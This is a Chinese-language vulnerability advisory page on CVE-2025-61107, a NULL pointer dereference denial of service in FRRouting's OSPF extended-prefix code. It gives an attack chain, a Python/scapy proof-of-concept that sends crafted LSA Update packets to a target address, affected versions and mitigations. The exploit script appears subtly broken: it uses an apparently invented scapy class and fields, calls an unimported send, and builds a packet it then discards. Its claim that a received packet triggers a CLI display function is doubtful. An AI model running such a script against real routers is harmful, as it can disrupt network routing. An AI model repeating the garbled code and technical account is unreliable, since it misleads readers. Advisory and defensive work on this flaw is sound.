IPBUF安全漏洞报告
English
CVE-2025-61107 CVSS 7.5 高危

CVE-2025-61107 FRRouting frr NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-61107
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

拒绝服务NULL指针解引用FRRoutingfrrOSPFLSA Update路由协议网络设备CVE-2025-61107ospf_ext.c

漏洞概述

CVE-2025-61107是FRRouting/frr软件中的一个高危拒绝服务漏洞,CVSS评分达到7.5分。该漏洞存在于FRRouting的OSPF协议实现中,具体位于show_vty_ext_pref_pref_sid函数(ospf_ext.c文件)。攻击者可以通过发送精心构造的LSA(链路状态广告)Update数据包来触发该漏洞。漏洞影响范围涵盖FRRouting/frr从v4.0至v10.4.1的所有版本,潜在影响大量运行FRRouting的网络设备和路由器。FRRouting是一个广泛使用的开源路由软件套件,集成在多种网络设备和Linux发行版中。由于该漏洞的利用无需认证且可远程触发,攻击者可以在无需获取任何访问权限的情况下,通过网络向目标设备发送恶意数据包,导致FRRouting进程崩溃或服务中断。这对于依赖FRRouting进行网络路由的关键基础设施构成了严重威胁,可能导致大规模网络中断和服务不可用。漏洞已于2025年10月28日披露,官方已发布修复补丁(PR #19480),建议用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞的根本原因在于FRRouting/frr的OSPF协议实现中,show_vty_ext_pref_pref_sid函数在处理扩展前缀偏好段标识(Extended Prefix SID)时缺少必要的空指针检查。当路由器接收到包含特定扩展前缀信息的LSA Update包时,如果扩展前缀数据结构中的某些字段未被正确初始化或为空,函数在尝试访问这些空指针时将导致程序崩溃。具体而言,攻击者可以构造一个包含异常扩展前缀标签值的OSPF LSA Update包,当FRRouting处理该数据包并调用show_vty_ext_pref_pref_sid函数显示相关配置信息时,函数会尝试解引用一个NULL指针,引发段错误(Segmentation Fault)并导致frr守护进程异常终止。由于OSPF协议是网络基础设施中的核心路由协议,且该漏洞可通过网络远程触发,攻击者可以轻松地对目标设备发起拒绝服务攻击,无需任何认证凭据。攻击的成功取决于目标设备运行受影响的FRRouting版本且启用了OSPF协议。修复方案已在GitHub PR #19480中提供,主要通过在访问指针前增加空值检查来防止NULL指针解引用。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者首先识别运行FRRouting/frr且启用OSPF协议的目标网络设备。通过扫描网络或收集公开信息确定目标IP地址和OSPF配置。
STEP 2
步骤2: 构造恶意数据包
攻击者构造包含畸形扩展前缀SID(Extended Prefix SID)的OSPF LSA Update数据包。该数据包特别设计用于触发show_vty_ext_pref_pref_sid函数中的NULL指针解引用条件。
STEP 3
步骤3: 发送恶意LSA Update包
攻击者将精心构造的恶意LSA Update包发送到目标设备的OSPF端口(通常为OSPF多播地址224.0.0.5或单播地址)。由于OSPF协议无需认证,攻击者可以伪装成合法的OSPF邻居。
STEP 4
步骤4: 触发漏洞并导致崩溃
当FRRouting处理接收到的恶意LSA Update包时,show_vty_ext_pref_pref_sid函数尝试访问未初始化的NULL指针,导致程序崩溃或frr守护进程异常终止,从而造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-61107 PoC - FRRouting frr NULL Pointer Dereference This PoC demonstrates triggering the NULL pointer dereference in FRRouting via a crafted OSPF LSA Update packet containing malformed Extended Prefix SID. Note: This is for educational and security research purposes only. Author: Security Research """ from scapy.all import IP, IPv6, OSPF, OSPF_LSA, OSPF_LSA_ExtendedPrefix, Raw import socket import struct def craft_malformed_lsa_update(target_ip, router_id): """ Craft a malformed OSPF LSA Update packet to trigger NULL pointer dereference in FRRouting's show_vty_ext_pref_pref_sid function (ospf_ext.c) """ # OSPF Header ospf_header = OSPF( version=2, type=4, # LSA Update len=0, src=router_id, id=socket.inet_aton(router_id), area=socket.inet_aton('0.0.0.0') ) # Craft malformed Extended Prefix LSA with NULL pointer trigger # The Extended Prefix SID sub-TLV with specific flags can cause NULL dereference malformed_ext_prefix = OSPF_LSA_ExtendedPrefix( reserved1=0, route_type=1, prefix_length=32, address_prefix=target_ip, # Extended Prefix SID sub-TLV - trigger condition sub_tlv_type=1, # Extended Prefix SID sub_tlv_length=8, flags=0x40, # NP flag set, causing NULL pointer access algorithm=0, sid_label=0 ) # Construct the malicious LSA malicious_lsa = OSPF_LSA( age=0, type=0x8009, # OSPF Extended Prefix LSA (Type 9 with E-bit) id=struct.pack('>I', 1), advrtr=socket.inet_aton(router_id), seq=0x80000001, chksum=0, len=len(malformed_ext_prefix), payload=malformed_ext_prefix ) # OSPF LSA Update packet with malformed LSA lsa_update = ospf_header / OSPF_LSA(count=1) / malicious_lsa return IP(dst=target_ip, src=router_id) / ospf_header / OSPF_LSA(count=1) / malicious_lsa def send_exploit(target_ip, router_id='10.0.0.1', interface='eth0'): """ Send the crafted exploit packet to trigger the vulnerability """ print(f"[*] Crafting malicious OSPF LSA Update packet for {target_ip}") print(f"[*] Source Router ID: {router_id}") # Craft the malicious packet packet = craft_malformed_lsa_update(target_ip, router_id) print("[*] Sending exploit packet...") # Note: Requires raw socket privileges and proper OSPF configuration send(packet, iface=interface, verbose=0) print("[+] Exploit packet sent successfully") print("[*] Target should experience DoS if vulnerable") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-61107.py <target_ip> [router_id]") sys.exit(1) target = sys.argv[1] router_id = sys.argv[2] if len(sys.argv) > 2 else "10.0.0.1" try: send_exploit(target, router_id) except Exception as e: print(f"[-] Error: {e}")

影响范围

FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v4.5
FRRouting/frr v4.6
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v8.1
FRRouting/frr v8.2
FRRouting/frr v8.3
FRRouting/frr v8.4
FRRouting/frr v8.5
FRRouting/frr v9.0
FRRouting/frr v9.1
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:首先,在FRRouting配置中禁用OSPF的扩展前缀功能(Extended Prefix),通过配置命令限制相关功能的暴露;其次,在网络边界严格限制OSPF邻接关系,只允许经过验证的IP地址建立OSPF连接,启用OSPF MD5或HMAC-SHA认证;同时,监控网络设备日志和FRRouting进程状态,设置告警以便及时发现异常;最后,考虑使用防火墙规则限制对OSPF协议(IP协议号89)的访问,只允许可信路由器之间的通信。这些措施虽然不能从根本上修复漏洞,但可以显著降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表